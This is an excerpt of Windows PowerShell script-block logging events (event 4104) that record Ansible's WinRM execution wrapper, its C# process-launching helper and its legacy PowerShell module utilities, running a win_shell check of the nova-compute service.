if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}
"@
$ErrorActionPreference = 'Stop'
Function Load-CommandUtils {
# makes the following static functions available
# [Ansible.CommandUtil]::ParseCommandLine(string lpCommandLine)
# [Ansible.CommandUtil]::SearchPath(string lpFileName)
# [Ansible.CommandUtil]::RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, string environmentBlock)
#
# there are also numerous P/Invoke methods that can be called if you are feeling adventurous
# FUTURE: find a better way to get the _ansible_remote_tmp variable
$original_tmp = $env:TMP
$remote_tmp = $original_tmp
$module_params = Get-Variable -Name complex_args -ErrorAction SilentlyContinue
if ($module_params) {
if ($module_params.Value.ContainsKey("_ansible_remote_tmp") ) {
$remote_tmp = $module_params.Value["_ansible_remote_tmp"]
$remote_tmp = [System.Environment]::ExpandEnvironmentVariables($remote_tmp)
}
}
$env:TMP = $remote_tmp
Add-Type -TypeDefinition $process_util
$env:TMP = $original_tmp
}
Function Get-ExecutablePath($executable, $directory) {
# lpApplicationName requires the full path to a file, we need to find it
# ourselves.
# we need to add .exe if it doesn't have an extension already
if (-not [System.IO.Path]::HasExtension($executable)) {
$executable = "$($executable).exe"
}
$full_path = [System.IO.Path]::GetFullPath($executable)
if ($full_path -ne $executable -and $directory -ne $null) {
$file = Get-Item -Path "$directory\$executable" -Force -ErrorAction SilentlyContinue
} else {
$file = Get-Item -Path $executable -Force -ErrorAction SilentlyContinue
}
if ($file -ne $null) {
$executable_path = $file.FullName
} else {
$executable_path = [Ansible.CommandUtil]::SearchPath($executable)
}
return $executable_path
}
Function Run-Command {
Param(
[string]$command, # the full command to run including the executable
[string]$working_directory = $null, # the working directory to run under, will default to the current dir
[string]$stdin = $null, # a string to send to the stdin pipe when executing the command
[hashtable]$environment = @{} # a hashtable of environment values to run the command under, this will replace all the other environment variables with these
)
# load the C# code we call in this function
Load-CommandUtils
# need to validate the working directory if it is set
if ($working_directory) {
# validate working directory is a valid path
if (-not (Test-Path -Path $working_directory)) {
throw "invalid working directory path '$working_directory'"
}
}
# lpApplicationName needs to be the full path to an executable, we do this
# by getting the executable as the first arg and then getting the full path
$arguments = [Ansible.CommandUtil]::ParseCommandLine($command)
$executable = Get-ExecutablePath -executable $arguments[0] -directory $working_directory
# run the command and get the results
$command_result = [Ansible.CommandUtil]::RunCommand($executable, $command, $working_directory, $stdin, $environment)
return ,@{
executable = $executable
stdout = $command_result.StandardOut
stderr = $command_result.StandardError
rc = $command_result.ExitCode
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 657f4b75-25c9-432b-86c1-8cdd2fe625a0
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2111 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3508 | 5116 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:51 AM | 61e00a24-ee3b-0003-8d0b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 981c970b-2e72-4eab-bf24-8f7812c2e83d
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2110 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3508 | 5116 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:51 AM | 61e00a24-ee3b-0004-f30b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: bb871473-2415-478e-a5d0-e4842e5048d7
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2109 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3508 | 5116 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:50 AM | 61e00a24-ee3b-0003-790b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 4):
zZTI+LiopKD88Y2xpeG1sPjxPYmpzLis8L09ianM+KSg/PHBvc3Rub2lzZT4uKikiKSB7CiAgICAgICAgICAgICRjbGl4bWwgPSBbeG1sXSRtYXRjaGVzWyJjbGl4bWwiXQoKICAgICAgICAgICAgJG1lcmdlZF9zdGRlcnIgPSAiezB9ezF9ezJ9ezN9IiAtZiBAKAogICAgICAgICAgICAgICAkbWF0Y2hlc1sicHJlbm9pc2UxIl0sCiAgICAgICAgICAgICAgICRtYXRjaGVzWyJwcmVub2lzZTIiXSwKICAgICAgICAgICAgICAgIyBmaWx0ZXIgb3V0IGp1c3QgdGhlIEVycm9yLXRhZ2dlZCBzdHJpbmdzIGZvciBub3csIGFuZCB6YXAgZW1iZWRkZWQgQ1JMRiBjaGFycwogICAgICAgICAgICAgICAoJGNsaXhtbC5PYmpzLkNoaWxkTm9kZXMgfCA/IHsgJF8uTmFtZSAtZXEgJ1MnIH0gfCA/IHsgJF8uUyAtZXEgJ0Vycm9yJyB9IHwgJSB7ICRfLicjdGV4dCcuUmVwbGFjZSgnX3gwMDBEX194MDAwQV8nLCcnKSB9IHwgT3V0LVN0cmluZyksCiAgICAgICAgICAgICAgICRtYXRjaGVzWyJwb3N0bm9pc2UiXSkgfCBPdXQtU3RyaW5nCgogICAgICAgICAgICByZXR1cm4gJG1lcmdlZF9zdGRlcnIuVHJpbSgpCgogICAgICAgICAgICAjIEZVVFVSRTogcGFyc2UvcmV0dXJuIG90aGVyIHN0cmVhbXMKICAgICAgICB9CiAgICAgICAgRWxzZSB7CiAgICAgICAgICAgICRyYXdfc3RkZXJyCiAgICAgICAgfQogICAgfQogICAgQ2F0Y2ggew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lcHRpb24uTmF0aXZlRXJyb3JDb2RlCiAgICB9IGNhdGNoIHsKICAgICAgICAkcmVzdWx0LnJjID0gMgogICAgfQogICAgRmFpbC1Kc29uIC1vYmogJHJlc3VsdCAtbWVzc2FnZSAkXy5FeGNlcHRpb24uTWVzc2FnZQp9CgojIFRPRE86IGRlY29kZSBDTElYTUwgc3RkZXJyIG91dHB1dCAoYW5kIG90aGVyIHN0cmVhbXM/KQokcmVzdWx0LnN0ZG91dCA9ICRjb21tYW5kX3Jlc3VsdC5zdGRvdXQKJHJlc3VsdC5zdGRlcnIgPSBDbGVhbnNlLVN0ZGVyciAkY29tbWFuZF9yZXN1bHQuc3RkZXJyIAokcmVzdWx0LnJjID0gJGNvbW1hbmRfcmVzdWx0LnJjCgokZW5kX2RhdGV0aW1lID0gW0RhdGVUaW1lXTo6VXRjTm93CiRyZXN1bHQuc3RhcnQgPSAkc3RhcnRfZGF0ZXRpbWUuVG9TdHJpbmcoInl5eXktTU0tZGQgaGg6bW06c3MuZmZmZmZmIikKJHJlc3VsdC5lbmQgPSAkZW5kX2RhdGV0aW1lLlRvU3RyaW5nKCJ5eXl5LU1NLWRkIGhoOm1tOnNzLmZmZmZmZiIpCiRyZXN1bHQuZGVsdGEgPSAkKCRlbmRfZGF0ZXRpbWUgLSAkc3RhcnRfZGF0ZXRpbWUpLlRvU3RyaW5nKCJoXDptbVw6c3NcLmZmZmZmZiIpCgpJZiAoJHJlc3VsdC5yYyAtbmUgMCkgewogICAgRmFpbC1Kc29uIC1vYmogJHJlc3VsdCAtbWVzc2FnZSAibm9uLXplcm8gcmV0dXJuIGNvZGUiCn0KCkV4aXQtSnNvbiAkcmVzdWx0Cg==", "module_args": {"_ansible_version": "2.7.0", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_ansible_no_log": false, "_ansible_module_name": "win_shell", "_raw_params": "Get-Service nova-compute | %{$_.Status}", "_ansible_verbosity": 2, "_ansible_keep_remote_files": false, "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "_ansible_remote_tmp": "%TEMP%", "_ansible_diff": false, "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "_ansible_check_mode": false, "_ansible_tmpdir": null}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: 3fa01211-e6a3-436a-96a1-6356641eedce
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2108 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3508 | 5116 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:50 AM | 61e00a24-ee3b-0003-730b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 4):
zIGlzIGEgY29udmVuaWVuY2UgdG8gbWFrZSBnZXR0aW5nIE1lbWJlcnMgZnJvbSBhbiBvYmplY3QgZWFzaWVyIGFuZAogICAgc2xpZ2h0bHkgbW9yZSBweXRob25pYwogICAgLkVYQU1QTEUKICAgICRhdHRyID0gR2V0LUFuc2libGVQYXJhbSAkcmVzcG9uc2UgImNvZGUiIC1kZWZhdWx0ICIxIgogICAgLkVYQU1QTEUKICAgIEdldC1BbnNpYmxlUGFyYW0gLW9iaiAkcGFyYW1zIC1uYW1lICJTdGF0ZSIgLWRlZmF1bHQgIlByZXNlbnQiIC1WYWxpZGF0ZVNldCAiUHJlc2VudCIsIkFic2VudCIgLXJlc3VsdG9iaiAkcmVzdWx0b2JqIC1mYWlsaWZlbXB0eSAkdHJ1ZQogICAgR2V0LUFuc2libGVQYXJhbSBhbHNvIHN1cHBvcnRzIFBhcmFtZXRlciB2YWxpZGF0aW9uIHRvIHNhdmUgeW91IGZyb20gY29kaW5nIHRoYXQgbWFudWFsbHkKICAgIE5vdGUgdGhhdCBpZiB5b3UgdXNlIHRoZSBmYWlsaWZlbXB0eSBvcHRpb24sIHlvdSBkbyBuZWVkIHRvIHNwZWNpZnkgcmVzdWx0b2JqZWN0IGFzIHdlbGwuCiM+CiAgICAjIENoZWNrIGlmIHRoZSBwcm92aWRlZCBNZW1iZXIgJG5hbWUgb3IgYWxpYXNlcyBleGlzdCBpbiAkb2JqIGFuZCByZXR1cm4gaXQgb3IgdGhlIGRlZmF1bHQuCiAgICB0cnkgewoKICAgICAgICAkZm91bmQgPSAkbnVsbAogICAgICAgICMgRmlyc3QgdHJ5IHRvIGZpbmQgcHJlZmVycmVkIHBhcmFtZXRlciAkbmFtZQogICAgICAgICRhbGlhc2VzID0gQCgkbmFtZSkgKyAkYWxpYXNlcwoKICAgICAgICAjIEl0ZXJhdGUgb3ZlciBhbGlhc2VzIHRvIGZpbmQgYWNjZXB0YWJsZSBNZW1iZXIgJG5hbWUKICAgICAgICBmb3JlYWNoICgkYWxpYXMgaW4gJGFsaWFzZXMpIHsKICAgICAgICAgICAgaWYgKCRvYmouQ29udGFpbnNLZXkoJGFsaWFzKSkgewogICAgICAgICAgICAgICAgJGZvdW5kID0gJGFsaWFzCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJG51bGwgLWVxICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgI0F1dG8tZ2VuZXJhdGVkIGVycm9yIHNob3VsZCBiZSBzdWZmaWNpZW50IGluIG1vc3QgdXNlIGNhc2VzCiAgICAgICAgICAgICAgICAgICAgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlID0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gICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgLWFzIFtmbG9hdF0KICAgICAgICB9IGVsc2VpZiAoJ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ZXggaXNuJ3QgcGVyZmVjdCwgYnV0IGlzIGRlY2VudCBhdCBmaW5kaW5nIENMSVhNTCBhbW9uZ3N0IG90aGVyIHN0ZGVyciBub2lzZQogICAgICAgIElm